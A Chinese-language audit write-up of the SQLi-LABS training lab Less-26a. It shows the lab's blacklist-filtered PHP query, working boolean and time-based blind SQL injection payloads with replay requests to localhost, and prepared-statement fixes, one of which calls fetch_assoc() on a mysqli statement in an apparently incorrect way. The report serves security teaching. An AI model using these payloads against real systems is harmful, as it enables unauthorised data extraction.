sqli-labs-Less-26a-代码审计报告

13次阅读
没有评论

Less-26a 审计报告:多关键字黑名单绕过(括号单引号,盲注)

1. 关卡概述

项目 内容
关卡名称 Less-26a Trick with comments
源码路径 Less-26a/index.php
漏洞类型 SQL 注入 – 布尔/时间盲注(黑名单 or/and/注释/空格/斜杠,('$id') 括号闭合)
注入点参数 GET /Less-26a/?id=
报错/盲注 盲注(无报错回显,仅有/无行差异)
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-26a/index.php

// 第 20 行:用户输入直接取出
$id=$_GET['id'];

// 第 27 行:交给黑名单函数
$id= blacklist($id);

// 第 34 行:括号 + 单引号包裹
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

// 第 35 行:执行
$result=mysql_query($sql);

// 第 46~49 行:无报错回显(print_r 被注释)
//print_r(mysql_error());

// 第 57~67 行:黑名单(与 Less-26 相同,且空白过滤重复执行了一次)
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);
    $id= preg_replace('/and/i',"", $id);
    $id= preg_replace('/[\/\*]/',"", $id);
    $id= preg_replace('/[--]/',"", $id);
    $id= preg_replace('/[#]/',"", $id);
    $id= preg_replace('/[\s]/',"", $id);
    $id= preg_replace('/[\s]/',"", $id);
    $id= preg_replace('/[\/\\\\]/',"", $id);
    return $id;
}

3. 漏洞分析

  • 过滤机制:同 Less-26——or/and(大小写不敏感)、/*、--、#、\s(含空格/Tab/换行/垂直制表符)、斜杠均被删除。空白符(含 %0a/%09/%0b)解码后都会被删。
  • 闭合方式:WHERE id=('$id') —— 需要闭合 (' 与尾部 ')。payload 以 1') 开头闭合 (',以 ('1 结尾配合模板尾部 ') 组成 ('1') 完成整体闭合。
  • 盲注判定:无报错回显,只能依据"是否返回行(Your Login name/Your Password)"做布尔盲注;and 关键字被过滤,但 &&(逻辑与)未被过滤,可作布尔条件载体。
  • 可被绕过的本质:黑名单只删 and 单词,不删 && 运算符;or 可用 ||;空白可用运算符/括号天然分隔。

4. 利用方式

步骤一:确认注入与闭合

  • ?id=1')||('1 → WHERE id=('1')||('1') = id=1||1 = id=1 → 返回 id=1 行。
  • ?id=0')||('0 → id=('0')||('0') = id=0 → 无行。布尔差异成立。

步骤二:布尔盲注(核心 payload,用 && 代替 and,URL 中 && 编码为 %26%26)

1')%26%26(ascii(substr(database(),1,1))%3E100)%26%26('1

拼接后(空白/关键字过滤后无变化):

SELECT * FROM users WHERE id=('1')&&(ascii(substr(database(),1,1))>100)&&('1') LIMIT 0,1
  • 条件为真 → ('1')&&1&&('1') = id=1 → 有行返回;
  • 条件为假 → ('1')&&0&&('1') = id=0 → 无行。

逐个字符二分即可爆破出 security。

步骤三:时间盲注(替代方案,if 内直接用 database() 避免 select 的空格问题)

1')%26%26if((database())='security',sleep(5),1)%26%26('1
  • 当 database()='security' 时触发 sleep(5),响应延迟约 5 秒;否则立即返回。
  • if((database())='security',sleep(5),1) 无空格、无 or/and、无注释符 → 绕过过滤。

步骤四:提取其它数据

1')%26%26(ascii(substr((select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()),1,1))%3E100)%26%26('1

若子查询中出现空格,因 \s 会被删除,应改用 %0a 后再被删成无空格形式,或改写子查询结构(如用 database() 直取、避免多词)。实际提取建议用 Python/Yakit 脚本对每个字节做二分请求。


5. Yakit 重放数据包

GET /sqli-labs/Less-26a/?id=1')%26%26(ascii(substr(database(),1,1))%3E100)%26%26('1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

时间盲注报文:

GET /sqli-labs/Less-26a/?id=1')%26%26if((database())='security',sleep(5),1)%26%26('1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

用 Yakit 的响应时间/响应体长度对比来自动判定真/假。


6. 修复建议

修复一:PDO 预处理

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$row = $stmt->fetch_assoc();

修复三:加固要点

  • 黑名单不能防注入,即使过滤了 and/or/空格/注释/斜杠,&&/||/if()/sleep() 仍可组合出布尔与时间盲注 payload。
  • 数字型参数 ctype_digit()/is_numeric() 校验。
  • 盲注无需报错即可利用 → 关键在参数化;同时可对慢查询(SLEEP)做超时与频控。
  • 数据库最小权限,升级 PHP 7+ / 8+。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展。
正文完
 0